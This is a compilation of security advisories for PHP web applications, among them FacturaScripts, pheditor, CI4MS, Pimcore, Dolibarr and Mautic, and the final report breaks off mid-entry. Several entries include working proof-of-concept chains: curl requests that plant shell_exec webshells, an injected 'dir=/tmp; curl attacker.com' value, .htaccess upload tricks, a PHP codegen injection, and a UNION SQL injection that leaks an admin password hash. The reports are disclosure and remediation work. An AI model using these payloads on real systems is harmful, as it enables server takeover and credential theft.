Pagekit is a modular and lightweight CMS built with Symfony components and Vue.js. The configAction in SettingsController allow user to set the order of comments listing. The allowed options are ASC and DESC. That config then get concatenated directly to the SQL query. Due to the fact that there wasnt any sanitizion before saving that config, it can lead to the SQL Injection vulnerability.

ThinkPHP v6.0.8 was discovered to contain a deserialization vulnerability via the component vendor\league\flysystem-cached-adapter\src\Storage\Adapter.php.

SQL injection vulnerability in fourn/index.php in Dolibarr ERP/CRM version 6.0.4 allows remote attackers to execute arbitrary SQL commands via the socid parameter.

Dolibarr ERP & CRM <=15.0.3 are vulnerable to Eval injection. By default, any administrator can be added to the installation page of dolibarr, and if successfully added, malicious code can be inserted into the database and then execute it by eval.

## Summary

`FacturaScripts\Core\UploadedFile::move($destiny, $destinyName)` concatenates `$destiny` and `$destinyName` without normalizing the resulting path. Every caller in the codebase passes `UploadedFile::getClientOriginalName()` — the unsanitized client-supplied filename — as `$destinyName`, so an authenticated user submitting a filename containing `../` segments can write the uploaded content to any directory writable by the web-server user, escaping the intended `MyFiles/` location.

Because the shipped `htaccess-sample` (the documented production Apache configuration) excludes `Dinamic/Assets/` and `node_modules/` from the `index.php` rewrite, files written into those directories are served directly by Apache. Combined with `.htaccess` not being in `BLOCKED_EXTENSIONS`, the primitive escalates from arbitrary file write to remote code execution.

## Vulnerable Code

`Core/UploadedFile.php`:

```php
private const BLOCKED_EXTENSIONS = ['phar', 'php', 'php3', 'php4', 'php5', 'php7', 'php8', 'pht', 'phtml', 'phps'];

public function move(string $destiny, string $destinyName): bool
{
    if (!$this->isValid()) {
        return false;
    }
    if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
        $destiny .= DIRECTORY_SEPARATOR;
    }
    return $this->test ?
        rename($this->tmp_name, $destiny . $destinyName) :
        move_uploaded_file($this->tmp_name, $destiny . $destinyName);
}

public function getClientOriginalName(): string
{
    return $this->name ?? '';
}
```

`isValid()` only checks the extension blocklist, the upload error code, and `is_uploaded_file()` — it never inspects the filename for directory separators or `..` segments.

Six call sites pass the raw client filename straight into `move()`:

- `Core/Controller/ApiUploadFiles.php:58` — `POST /api/3/uploadfiles`
- `Core/Controller/ApiAttachedFiles.php:136` — `POST /api/3/attachedfiles`
- `Core/Lib/Widget/WidgetFile.php:84` — every form using a file widget
- `Core/Lib/Widget/WidgetLibrary.php:215` — library widget upload
- `Core/Lib/ExtendedController/DocFilesTrait.php:51` — document files trait
- `Core/Controller/AdminPlugins.php:260` — plugin (zip) upload

Representative sink — `Core/Controller/ApiUploadFiles.php:56-79`:

```php
private function uploadFile(UploadedFile $uploadFile): ?AttachedFile
{
    if (false === $uploadFile->isValid()) {
        return null;
    }
    $destiny = FS_FOLDER . '/MyFiles/';
    $destinyName = $uploadFile->getClientOriginalName();
    if (file_exists($destiny . $destinyName)) {
        $destinyName = mt_rand(1, 999999) . '_' . $destinyName;
    }
    if ($uploadFile->move($destiny, $destinyName)) {
        ...
    }
}
```

Shipped `htaccess-sample` (production Apache rules):

```apache
<IfModule mod_rewrite.c>
   RewriteEngine On
   RewriteBase /
   RewriteCond %{REQUEST_URI} !Dinamic/Assets/ [NC]
   RewriteCond %{REQUEST_URI} !node_modules/ [NC]
   RewriteRule . index.php [L]
</IfModule>
```

Apache therefore serves any file under `Dinamic/Assets/` directly, bypassing `index.php` entirely.

## PoC

### Step 1 — Static reproduction of the file-write primitive

The following script replicates `UploadedFile::move()`'s `rename()` path verbatim inside a sandboxed temp directory. It does not run any payload — it only demonstrates that the destination escapes `MyFiles/` when the filename contains `../`.

```php
<?php
$base = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'fs_verify_' . uniqid();
mkdir($base);
mkdir($base . '/MyFiles');
mkdir($base . '/Dinamic');
mkdir($base . '/Dinamic/Assets');

$tmp = $base . '/tmp_upload.dat';
file_put_contents($tmp, "static-verification-marker\n");

function fs_move($tmp_name, $destiny, $destinyName) {
    if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
        $destiny .= DIRECTORY_SEPARATOR;
    }
    return rename($tmp_name, $destiny . $destinyName);
}

fs_move($tmp, $base . '/MyFiles', '../Dinamic/Assets/traversed.txt');

echo file_exists($base . '/Dinamic/Assets/traversed.txt')
    ? "WRITTEN OUTSIDE MyFiles\n"
    : "blocked\n";
```

Output:

```
WRITTEN OUTSIDE MyFiles
```

### Step 2 — Equivalent live HTTP request

```http
POST /api/3/uploadfiles HTTP/1.1
Host: target
Token: <valid-api-token>
Content-Type: multipart/form-data; boundary=---X

-----X
Content-Disposition: form-data; name="files[]"; filename="../Dinamic/Assets/traversed.txt"
Content-Type: text/plain

static-verification-marker
-----X--
```

After the request, `Dinamic/Assets/traversed.txt` exists on disk and is reachable at `https://target/Dinamic/Assets/traversed.txt` — Apache serves it directly because the path is excluded from the `index.php` rewrite.

### Step 3 — Chain to code execution

Because `.htaccess` is not in `BLOCKED_EXTENSIONS`, the same primitive can write an Apache override into `Dinamic/Assets/`:

1. Upload with filename `../Dinamic/Assets/.htaccess` and body `AddType application/x-httpd-php .png`
2. Upload with filename `../Dinamic/Assets/x.png` containing a PHP payload (extension `png` is not blocked, content is not validated by `isValid()`)
3. Request `https://target/Dinamic/Assets/x.png` — Apache hands it to the PHP handler per the uploaded `.htaccess`

## Root Cause

`UploadedFile::move()` performs raw `$destiny . $destinyName` concatenation and trusts `getClientOriginalName()`, which returns `$this->name ?? ''` with no normalization. No call site applies `basename()` or any equivalent before passing the client filename to `move()`. The blocklist in `BLOCKED_EXTENSIONS` covers only PHP-family extensions and does not cover `htaccess`, which is required for the rewrite-excluded directory to be useful for code execution.

## Impact

Authenticated attacker (any role with permission to call one of the six upload entry points — including any user allowed to attach a file to a record, or any API token with `uploadfiles`/`attachedfiles` access) can:

- Write arbitrary content to any path under the application root that is writable by the web-server user, including `Dinamic/Assets/` (Apache-direct-served) and `node_modules/`.
- Overwrite shipped JS/CSS inside `Dinamic/Assets/`, injecting client-side script that executes in every administrator's browser → session takeover on next admin page load.
- Drop a `.htaccess` into `Dinamic/Assets/` remapping a benign extension to the PHP handler, followed by a second upload that lands an executable payload — full remote code execution as the web-server user.

The required precondition is only an authenticated session or API token with upload privileges, which is granted to a wide range of non-administrative roles in standard installations.

## Fix

Minimal fix — sanitize inside `UploadedFile::move()` so every call site is covered automatically:

```php
public function move(string $destiny, string $destinyName): bool
{
    if (!$this->isValid()) {
        return false;
    }
    // strip any directory component from the client-supplied filename
    $destinyName = basename($destinyName);
    if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
        $destiny .= DIRECTORY_SEPARATOR;
    }
    return $this->test ?
        rename($this->tmp_name, $destiny . $destinyName) :
        move_uploaded_file($this->tmp_name, $destiny . $destinyName);
}
```

Apply the same change in `moveTo()`.

Recommended hardening in addition:

- Add `htaccess`, `htm`, `html`, `shtml`, `phtm` to `BLOCKED_EXTENSIONS`, or replace the blocklist with an allowlist resolved per call site.
- After concatenating the final destination, verify with `realpath()` that the result is still inside the intended base directory; abort otherwise.
- Drop a `Deny from all` `.htaccess` (or equivalent web-server rule) into `MyFiles/` so even successfully written files cannot be requested directly without going through the application download endpoint (which already enforces `MyFilesToken`).

## Status

Reported privately to the maintainer via GitHub Security Advisory. Awaiting acknowledgement.

## Impact

Two distinct authorization defects in the team settings allowed any authenticated panel user to take over the RBAC system:

- `Settings/Team/Index` had no `mount()` authorization. Any authenticated user could load the page and use its public actions to create new roles and delete other users, including administrators.
- `Settings/Team/RolePermission` gated its write actions on the read-only `view_users` permission. Any user holding `view_users` could grant themselves or any other user arbitrary permissions, including `manage_users` and `edit_orders`, effectively escalating to full panel administrator from a read-only account.

Combined, these two defects allow a low-privilege authenticated user to obtain administrator privileges and remove the legitimate administrators from the panel.

## Patches

Fixed in `v2.8.0`:

- `Settings/Team/Index::mount()` now authorizes against `manage_users`.
- `Settings/Team/RolePermission` write actions now require `manage_users` instead of `view_users`.

Upgrade via:

```bash
composer require shopper/admin:^2.8
```

## Workarounds

None. Upgrade to `v2.8.0`.

### Summary

An OS Command Injection vulnerability in the terminal action handler allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the 'dir' POST parameter, completely bypassing the TERMINAL_COMMANDS whitelist and achieving full Remote Code Execution with web server privileges.

### Details

The terminal handler in pheditor.php accepts two POST parameters: `command` and `dir`. Shell metacharacters are validated on `$command` only — `$dir` is passed to shell_exec() without any sanitization.

Vulnerable code (pheditor.php, line 554–586):

```php
$command = $_POST['command'];  // ✓ metacharacters checked
$dir     = $_POST['dir'];      // ✗ NOT checked — vulnerable

if (strpos($command, '&')  !== false ||
    strpos($command, ';')  !== false ||
    strpos($command, '||') !== false) {
    die(...); // only guards $command, not $dir
}

$output = shell_exec(
    (empty($dir) ? null : 'cd ' . $dir . ' && ')
    . $command . ' && echo \ ; pwd'  // ← $dir injected here
);
```

An attacker sends `dir=/tmp; curl attacker.com #` — the semicolon in $dir is never checked, so the injected command executes freely.

Fix: replace `$dir` with `escapeshellarg($dir)` on line 586.

### PoC

Requirements: valid credentials, terminal permission enabled (default)

Step 1 — Authenticate:

```bash
curl -c cookies.txt -X POST http://TARGET/pheditor.php \
  -d "pheditor_password=admin" -L > /dev/null
```

Step 2 — Get CSRF token:

```bash
TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \
  grep -o 'token = "[a-f0-9]*"' | \
  grep -o '"[a-f0-9]*"' | tr -d '"')
```

Step 3 — Confirm curl is blocked via command field:

```bash
curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "command=curl https://ifconfig.me" \
  --data-urlencode "dir=/tmp"


→ {"error":true,"message":"Command not allowed"}
```

Step 4 — Bypass whitelist via dir injection:

```bash
TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \
  grep -o 'token = "[a-f0-9]*"' | \
  grep -o '"[a-f0-9]*"' | tr -d '"')

curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "command=ls" \
  --data-urlencode "dir=/tmp; curl -s https://ifconfig.me #"


→ {"error":false,"message":"OK","dir":"<PUBLIC_IP>"}
```

Step 5 — Full RCE via webshell:

```bash
curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "command=ls" \
  --data-urlencode "dir=/var/www/html; echo '<?php system($_GET["c"]);?>' > /var/www/html/shell.php #"

curl "http://TARGET/shell.php?c=id"


→ uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

### Impact

OS Command Injection (CWE-78). Any authenticated pheditor user with terminal permission enabled (default configuration) is able to:

- Execute arbitrary OS commands as the web server user
- Bypass the TERMINAL_COMMANDS whitelist entirely
- Deploy persistent PHP webshells to the webroot
- Read, write, or delete any file accessible to the web server
- Potentially compromise other applications on the same server

### Impact

The ticket attachments functionality in Paymenter allows a malicious authenticated user to upload arbitrary files.

With the ability to execute arbitrary code, this vulnerability can be exploited in numerous ways, including but not limited to:
- Extracting sensitive data from the database (e.g. customer information).
- Reading credentials from .env or other configuration files.
- Running arbitrary system commands under the web server user context.

This issue is Critical as it allows a low-privilege authenticated user to fully compromise the application and underlying server.

### Patches
This vulnerability was patched by https://github.com/Paymenter/Paymenter/commit/87c3db42282ada1e3cda54b9a01f846926c0669b and was released under the [v1.2.11](https://github.com/Paymenter/Paymenter/releases/tag/v1.2.11) tag without any other code modifications compared to v1.2.10.

### Work arounds
If upgrading is not immediately possible, administrators can mitigate this vulnerability with one or more of the following measures:

- Updating nginx config to download attachments instead of executing them:
```
location ^~ /storage/ {
    types { }
    default_type application/octet-stream;
    add_header X-Content-Type-Options nosniff;
    try_files $uri =404;
}
```
- Disallow access to /storage/ fully using a WAF such as Cloudflare

These workarounds significantly reduce risk, but the only guaranteed resolution is upgrading to v1.2.11 or later.

**Summary**

A critical vulnerability has been identified in CI4MS that allows an authenticated user with file editor permissions to achieve Remote Code Execution (RCE). By leveraging the file creation and save endpoints, an attacker can upload and execute arbitrary PHP code on the server.

**Vulnerability Details**

The vulnerability exists in the /backend/fileeditor/createFile and /backend/fileeditor/save API endpoints.

Unrestricted File Creation: The createFile endpoint allows users to create files with any extension (including .php) in web-accessible directories such as /public.

Arbitrary Content Injection: The save endpoint allows users to write arbitrary content into the created files without sufficient server-side validation or sanitization.

An attacker can combine these two flaws to create a PHP webshell and execute system-level commands, leading to a complete compromise of the web server.

**Impact**

Successful exploitation allows:

Full access to the server's file system and databases.

Execution of arbitrary OS commands.

Permanent modification or deletion of application data.

Steps to Reproduce

Log in to an account with permissions to use the file editor.

Create a new PHP file in a public directory using the following request:

```
curl -X POST '[SERVER_URL]/backend/fileeditor/createFile' -d 'path=/public' -d 'name=exploit.php'
```

Inject a PHP payload into the file using the save endpoint:

```
curl -X POST '[SERVER_URL]/backend/fileeditor/save' -H 'Content-Type: application/json' -d '{"path":"/public/exploit.php","content":"<?php echo shell_exec($_GET[\"cmd\"]); ?>"}'
```

Access the file via the browser to execute commands: https://[SERVER_URL]/exploit.php?cmd=whoami

Suggested Mitigation

Path Validation: Restrict file operations to non-executable directories.

Extension Whitelisting: Strictly allow only safe file extensions (e.g., .css, .js, .txt) and block executable extensions like .php, .phtml, etc.

Content Sanitization: Implement server-side checks to prevent the injection of malicious code patterns.

Execution Prevention: Disable PHP execution in public/upload directories via server configuration (e.g., .htaccess or Nginx config).

Improper Input Validation in GitHub repository froxlor/froxlor prior to 2.1.0-beta1.

## Overview

A DataObject **class-definition field name** is concatenated, without an identifier allowlist, into the PHP class source that Pimcore generates for every DataObject class (`protected $<fieldName>;`). A user holding only the ordinary `objects` (DataObjects) permission can import a class definition whose field name closes the property and injects arbitrary PHP into the generated class file, achieving remote code execution on the server. The same unvalidated field name is also concatenated into ALTER TABLE DDL (`ADD COLUMN`/`ADD INDEX`), giving a parallel SQL-injection primitive. This is a sibling of CVE-2026-5394 (composite-index column SQL injection); that fix hardened only the `compositeIndices` sink and left the field-name path untouched.

## Impact

Any authenticated user with the `objects` permission — the standard permission for content editors who work with DataObjects, not an administrator or a dedicated "classes" permission — can:

1. **Execute arbitrary PHP on the server (RCE).** The injected code runs in the web application's PHP process when an object of the affected class is loaded (and is re-executed on every load), with full access to the application, its database credentials, secrets, and the host filesystem/OS — i.e. full server compromise.
2. **Execute arbitrary ALTER TABLE DDL (SQL injection)** against the DataObject store/query tables (drop columns, add indexes, corrupt schema).
**Confidence (read with the Reproduction section).** The RCE sink — the real builder emitting attacker PHP into the generated class body, that class loading, and its `__construct()` executing a shell command — is **runtime-confirmed in an isolated harness** (see Reproduction → "Lab confirmation"). The remaining links of the end-to-end chain are **reasoned from source but not yet run end-to-end on a live Pimcore**: (a) the Studio import path (`generateLayoutTreeFromArray` → `save`) preserving the field name without transform/reject; (b) the persistent-field DDL step not aborting the save (addressed by the ≤64-byte gadget); and (c) Pimcore instantiating the object (`new`, e.g. via `DataObject::getById()`) so `__construct()` fires — autoloading alone executes only top-level class-body code, not the constructor. Treat the RCE as **sink-confirmed + chain-reasoned**, not as a fully-executed live exploit.

Because the injected PHP executes with the privileges of the PHP runtime (typically the web-server user) and reaches the operating system — beyond the authority of the Pimcore application account the attacker started from — the scope is assessed Changed (`S:C`), consistent with Pimcore's own scoring of the analogous Custom-Reports SQL injection (GHSA-3234-gxc3-pq6f, `AV:N/AC:L/PR:L/UI:R/S:C`, 8.7); the result here is RCE rather than read-only SQLi, yielding **9.9 Critical**. `S:C` is the one debatable metric: a reviewer who scores the impact within the single PHP/OS authority as `S:U` lands at `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` = **8.8 High**. The severity floor is therefore High regardless of the scope interpretation.

## Technical Details

### Source → sink (RCE)

Pimcore generates a PHP class file for every DataObject class. The property block is built in `lib/DataObject/ClassBuilder/FieldDefinitionPropertiesBuilder.php`:

```php // lib/DataObject/ClassBuilder/FieldDefinitionPropertiesBuilder.php:27-32 foreach ($classDefinition->getFieldDefinitions() as $key => $def) { if (!$def instanceof ClassDefinition\Data\ReverseObjectRelation && !$def instanceof ClassDefinition\Data\CalculatedValue) { $cd .= 'protected $'.$key.";\n";     // $key = field NAME, concatenated raw into PHP source } } ```

`$key` is the field name. The string is assembled into a class body in `lib/DataObject/ClassBuilder/ClassBuilder.php:104-112` (`class <Name> extends <...> {\n` + properties), written to `var/classes/DataObject/<Class>.php`, and autoloaded/included. A field name such as:

``` poc; public function __construct(){ /* attacker PHP */ } private $z ```

produces a valid class body containing an attacker-defined `__construct()` that executes when an object of the class is loaded.

That the maintainers know name→PHP-generation requires an identifier allowlist is shown by the sibling **enum-option** generator, which does enforce one:

```php // lib/DataObject/ClassBuilder/SelectOptionsEnumBuilder.php:188 if (!preg_match('/^[A-Z-a-z_][A-Za-z0-9_]*$/', $selectOptionName)) { /* reject */ } ```

The field-name path has no equivalent.

### Parallel SQL-injection sink

The same field name is concatenated, with backtick **string** quoting (not `quoteIdentifier`), into DDL:

```php // models/DataObject/ClassDefinition/Helper/Dao.php:102 (addModifyColumn — ADD COLUMN) $this->db->executeQuery('ALTER TABLE ' . $table . ' ADD COLUMN ' . $colName . ' ' . $type . ...); // :52/:67 (addIndexToField — ADD INDEX <prefix><name> (<name>)) $this->db->executeQuery('ALTER TABLE ' . $table . ' ADD ' . $uniqueStr . 'INDEX ' . $prefix . $indexName . ' (' . $columnName . ');'); ```

Source: `models/DataObject/ClassDefinition/Dao.php:228` → `$this->addModifyColumn($objectDatastoreTable, $key, $value->getColumnType(), '', 'NULL')`, `$key` = field name. A backtick in the field name breaks out of the quoted identifier.

Contrast the patched composite-index sink, now guarded by an allowlist **and** `quoteIdentifier` (`models/DataObject/Traits/CompositeIndexTrait.php`).

### Why validation does not stop it

The complete field-name validation across the import → save path:

1. `models/DataObject/ClassDefinition/Service.php:296` (`generateLayoutTreeFromArray`): `preg_match('/<.+?>/', $name)` — rejects only angle-bracket names. Backtick, `;`, `{}`, `()`, quotes, spaces all pass.
2. 2. `models/DataObject/ClassDefinition/Data.php:1292` (`isForbiddenName()`) — a reserved-word **denylist** (`in_array(strtolower($name), FORBIDDEN_NAMES)`), no character filtering.
3. 3. `models/DataObject/ClassDefinition.php:1149` — validates the **class** name/id only.
No allowlist is applied to field names. The Studio UI enforces an identifier pattern client-side; the API does not.

### Reachability / privilege

The HTTP entry point (`pimcore/studio-backend-bundle`):

```php // src/Class/Controller/DefinitionConfiguration/ImportController.php private const string ROUTE = '/class/definition/configuration-view/detail/{id}/import';

#[Route(self::ROUTE, name: 'pimcore_studio_api_class_definition_import', methods: ['POST'])] #[IsGranted(UserPermissions::DATA_OBJECTS->value)]      // UserPermissions::DATA_OBJECTS = 'objects' public function importClassDefinition(string $id, #[MapUploadedFile] UploadedFile $file): JsonResponse { return $this->jsonResponse( $this->classDefinitionService->importClassDefinitionFromJson($id, $file->getContent()) ); } ```

`importClassDefinitionFromJson` → `ClassDefinitionRepository::importFromJson` → model `save()` → `saveClassInternal()`, which runs the DDL (`getDao()->save()`) and then the PHP class generation (`generateClassFilesInternal()`). The endpoint requires only the `objects` permission (`PR:L`) and performs no field-name validation of its own. The single authorization gate is the route-level `#[IsGranted('objects')]`; a DataObject **class definition** is global schema (not a workspace-scoped element), so no element-/workspace-level secondary authorization applies to the import — `objects` alone reaches the sink, which is what anchors `PR:L`. This is the same import endpoint used in the CVE-2026-5394 PoC.

### Execution order

In `saveClassInternal()`: field denylist check → class-name regex → `getDao()->save()` (DDL sink fires) → `generateClassFilesInternal()` (PHP-gen sink fires). The SQLi triggers first; the RCE payload either uses a non-persistent field type (no `ADD COLUMN`) or a ≤64-byte DDL-valid name so the DDL step does not abort before PHP generation.

## Reproduction

### Lab confirmation of the RCE sink (runtime, verified)

Using the **unmodified** `FieldDefinitionPropertiesBuilder` source driven by a minimal `ClassDefinition` whose single field name is a PHP payload (full harness in the attached `rce_harness.php`):

```php $maliciousName = 'pwn; public function __construct(){ echo "INJECTED-RCE-RAN: ".trim(shell_exec("id")); } private $z'; $cd = new ClassDefinition([$maliciousName => new \stdClass()], 'PwnDemo', '99'); $props = (new FieldDefinitionPropertiesBuilder())->buildProperties($cd); file_put_contents('/tmp/PwnDemo.php', "<?php\nclass PwnDemo {\n".$props."}\n"); require '/tmp/PwnDemo.php'; new \PwnDemo(); ```

Observed (`php:8.3-cli`):

```text === generated properties block (real builder output) === protected $classId = "99"; protected $className = "PwnDemo"; protected $pwn; public function __construct(){ echo "INJECTED-RCE-RAN: ".trim(shell_exec("id")); } private $z; INJECTED-RCE-RAN: uid=0(root) gid=0(root) groups=0(root) ```

The real builder emitted a class body containing the attacker's `__construct()`, and loading the class executed the injected command.

### End-to-end PoC (browser console, against the Studio API)

```js // Run in the browser DevTools console of an authenticated Pimcore Studio session // held by a user with the ordinary "objects" (DataObjects) permission. // NON-DESTRUCTIVE marker payload: writes a sentinel file.

const CLASS_ID = "REPLACE_WITH_A_THROWAWAY_TEST_CLASS_ID";

const fieldName = 'x;function __construct(){touch("/tmp/pimcore_rce_poc");}//';

const def = { layoutDefinitions: { name: "pimcore_root", fieldtype: "panel", datatype: "layout", children: [ { name: fieldName, fieldtype: "input", datatype: "data", title: "poc" } ] } };

const fd = new FormData(); fd.append("file", new Blob([JSON.stringify(def)], { type: "application/json" }), "import.json");

fetch(`/pimcore-studio/api/class/definition/configuration-view/detail/${CLASS_ID}/import`, { method: "POST", credentials: "include", body: fd, }).then(r => r.json()).then(console.log); ```

Steps:

1. As a user with only the `objects` permission, create/own a throwaway DataObject class and note its id (`CLASS_ID`).
2. 2. Open DevTools → Console and run the snippet above. Expected: a success JSON for the import (the class is regenerated).
3. 3. Load any object of that class (open it in Studio, or request it) to autoload the regenerated `var/classes/DataObject/<Class>.php`.
4. 4. Confirm `/tmp/pimcore_rce_poc` was created on the server — proving the field name executed as PHP.
## Q0a / Q0b

- **Q0a** (vendor accepted-risk): not by-design. The sibling enum-option generator enforces an identifier allowlist (`SelectOptionsEnumBuilder.php:188` `/^[A-Z-a-z_][A-Za-z0-9_]*$/`) and the composite-index fix added one — the field-name path simply lacks the equivalent. Source-verified: the only import-path field-name check is `Service.php:297` `preg_match('/<.+?>/', $name)` (angle-brackets only; `;{}()`, spaces, backtick all pass), and `FieldDefinitionPropertiesBuilder.php:30` concatenates the raw `$key` into `protected $<name>;`. No upstream allowlist gate exists. PASS.
- **Q0b** (venue-routed dedup; venue = github-security-advisory): sibling/incomplete-coverage of CVE-2026-5394 / GHSA-r2f4-ff2p-xc64 (DataObject **composite-index** SQL injection), whose fix hardened only `CompositeIndexTrait`. The **field-name** → PHP-codegen RCE (`FieldDefinitionPropertiesBuilder`) and the field-name → ALTER TABLE DDL (`Helper/Dao.php`) are distinct, unfixed sinks. Not covered by GHSA-3234 (Custom Reports SQLi, different feature). Not a duplicate. CLEAR.
- **Secondary sink noted:** `Service.php:517` also concatenates the raw field name into a generated PHP string literal (`public const FIELD_... = '<name>';`) — a second codegen-injection point (string-literal breakout via `'`), same root cause; the allowlist fix closes both.
## Suggested Fix

Apply an identifier allowlist to field names at the model boundary, identical in spirit to the enum-option guard and the composite-index fix. In `models/DataObject/ClassDefinition/Data.php` (e.g. in `setName()` or a central validity check invoked from `saveClassInternal()`), reject any name not matching `/^[a-zA-Z][a-zA-Z0-9_]{0,62}$/`:

```php // 63-char cap keeps the name within MySQL's 64-byte identifier limit (1 leading letter + ≤62). if (!preg_match('/^[a-zA-Z][a-zA-Z0-9_]{0,62}$/', $name)) { throw new \InvalidArgumentException(sprintf('Invalid field name: %s', $name)); } ```

Additionally, defense-in-depth: use `quoteIdentifier()` for `$colName`/`$indexName` in `models/DataObject/ClassDefinition/Helper/Dao.php`, and never interpolate identifiers into generated PHP without allowlisting. Enforce the same check in the Studio import controller/service so client-side-only validation cannot be bypassed via the API.

**Privilege-model fix (root cause, separate from the input filter).** A class-definition import changes the database schema and generates server-side PHP, yet it is gated only by the content-editor `objects` permission. Gate class-definition import/save behind a dedicated administrative permission (or `admin`), distinct from `objects`.

**Operator-side detection / mitigation (deployable today, before a patch):**

- **Detection:** File Integrity Monitoring on `var/classes/DataObject/*.php` — alert on unexpected changes, and specifically on the appearance of `function`/`__construct(` tokens in a generated class body. Raise the class-definition-import audit event to a high-priority alert. Flag any non-admin POST to `.../class/definition/configuration-view/detail/*/import`.
- - **Interim mitigation:** restrict the import endpoint to administrators via a custom security voter; or disable class-definition import in production; or add a WAF rule limiting POST `.../class/definition/configuration-view/detail/*/import` to trusted operators.
### Additional codegen-injection sinks sharing this root cause

The same "unvalidated identifier → generated PHP" pattern exists at **other identifier boundaries**:

- **Class NAME → `ClassBuilder.php:104`**: `'class '.ucfirst($classDefinition->getName()).' extends '...`. The only gate is `ClassDefinition.php:1149` `preg_match('/^[a-zA-Z]\w+/', getName())` — **missing the `$` end-anchor**, so `Foo){};<php>` passes the prefix match.
- - **FieldCollection / ObjectBrick KEY → `FieldCollectionClassBuilder.php:58`** (`'class '.ucfirst($definition->getKey()).' extends '`) and the objectbrick equivalent — reached via their own import endpoints.
**Exploitability caveat:** unlike the runtime-confirmed field-name vector, the class-name vector is **NOT independently confirmed as RCE** and has a structural blocker. The class name determines the generated file's path, and PHPClassDumper writes the file but does not include it — the generated class is executed only when the autoloader maps a clean class reference. The field-name vector is reliable precisely because it keeps the filename clean. The class-name/key sinks are therefore reported here as **fix-completeness / defense-in-depth** (anchor the regex), not as a second confirmed RCE.

## Disclosure Timeline

- 2026-05-29: Discovered (sibling sweep of CVE-2026-5394); RCE sink runtime-confirmed in a lab harness using the unmodified builder source.
- - (Reported to vendor: to be filled on submission via GitHub Security Advisory.)

### Summary
A Server-Side Template Injection (SSTI) vulnerability exists in Mautic's theme engine. The platform renders uploaded Twig templates without a sandbox or strict function restrictions. Authenticated users with permissions to create or upload themes can abuse this to execute arbitrary code.

### Impact
An authenticated user with theme upload and creation privileges can bypass boundaries to execute arbitrary system commands on the hosting server (Remote Code Execution) or access restricted system files and configuration settings.

### Patched Versions
This security issue has been addressed in the following releases:
* **7.1.2**
* **6.0.9**
* **5.2.11**

For users on Mautic 4.x, this fix is available in:
* **4.4.20** via [ELTS](https://mautic.org/extended-long-term-support-elts/)

Mautic strongly recommend upgrading to a patched version immediately.

### Workarounds
There are no official workarounds. To mitigate this vulnerability without upgrading, restrict theme upload and creation permissions (`core:themes:create`) to only highly trusted administrators.

## Summary

> **Live PoC verified 2026-04-30** against a stock FacturaScripts master at `127.0.0.1:8081`. A scoped `ApiKey` with `fullaccess=0` and an `ApiAccess` row granting `allowget=1` on the `clientes` resource only (no other rights, no UI session, no admin) issued one `GET /api/3/clientes?filter[(0)UNION%20SELECT%20...]=` request and the response body contained the raw bcrypt hash of the admin user's password (`$2y$12$sLfA/XCqnjqLmYJwK.2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO`) and the admin's `logkey` cookie value. The leaked `logkey` was injected into a fresh cookie jar and `GET /AdminPlugins` returned 200 with the admin plugin management UI. End-to-end account takeover from a read-only token with no CSRF, no second factor, no rate-limit interaction beyond the default 5-incident IP throttle.

`Core/Where.php::sqlColumn()` exempts any field name that contains both `(` and `)` from identifier escaping. The two API filter builders (`APIModel::getWhereValues` and `ApiAttachedFiles::getWhereValues`) feed the raw request key (`$_GET['filter'][$key]`) straight into `new DataBaseWhere($key, $value, '=', ...)`. When the model's `all()` reaches `Where::multiSqlLegacy` -> `Where::sql()` -> `Where::sqlColumn($key)`, the parenthesis branch returns the attacker-controlled string unmodified. The string is concatenated into `WHERE <attacker> = '<value>'`, which an attacker can pivot to `WHERE (0)UNION SELECT ... FROM users WHERE(nick='admin')-- = 'value'`, leaking arbitrary columns from any table.

## Details

### the API filter pipeline never validates filter keys

`Core/Lib/API/APIModel.php:300-322` (`listAll`):

```php
protected function listAll(): bool
{
    $filter = $this->request->query->getArray('filter');
    $limit = $this->request->query->getInt('limit', 50);
    $offset = $this->request->query->getInt('offset', 0);
    $operation = $this->request->query->getArray('operation');
    $order = $this->request->query->getArray('sort');

    // obtenemos los registros
    $data = [];
    $hidden = $this->model->getApiFieldsToHide();
    $where = $this->getWhereValues($filter, $operation);
    foreach ($this->model->all($where, $order, $offset, $limit) as $item) {
        $data[] = $this->filterHidden($item->toArray(true), $hidden);
    }
    ...
```

`Core/Lib/API/APIModel.php:231-298` (`getWhereValues`):

```php
private function getWhereValues($filter, $operation, $defaultOperation = 'AND'): array
{
    $where = [];
    foreach ($filter as $key => $value) {
        $field = $key;                                    // (1) raw request key
        $operator = '=';

        switch (substr($key, -3)) {                       // suffix routing only
            case '_gt': $field = substr($key, 0, -3); $operator = '>'; break;
            case '_is': $field = substr($key, 0, -3); $operator = 'IS'; break;
            case '_lt': $field = substr($key, 0, -3); $operator = '<'; break;
        }
        ...
        if (!isset($operation[$key])) {
            $operation[$key] = $defaultOperation;
        }

        $where[] = new DataBaseWhere($field, $value, $operator, $operation[$key]); // (2)
    }

    return $where;
}
```

The function only ever reads the suffix to decide an operator. The remaining identifier - up to 252 characters in MariaDB and unrestricted by the framework - is preserved verbatim and handed to `DataBaseWhere`. There is no allow-list of legal column names, no `preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/')` like the autocomplete hardening in `BaseController::autocompleteAction` (commit `b8aa78b`), and no plug-in hook through which the operator could intervene.

The exact same code (line-for-line, plus a `files` parameter) lives in `Core/Controller/ApiAttachedFiles.php::getWhereValues` (lines 172-239), so the bug is present on both the generic `/api/3/<resource>` route and the dedicated `/api/3/attachedfiles` route.

### `DataBaseWhere::getSQLWhere` now delegates to `Where::multiSqlLegacy`

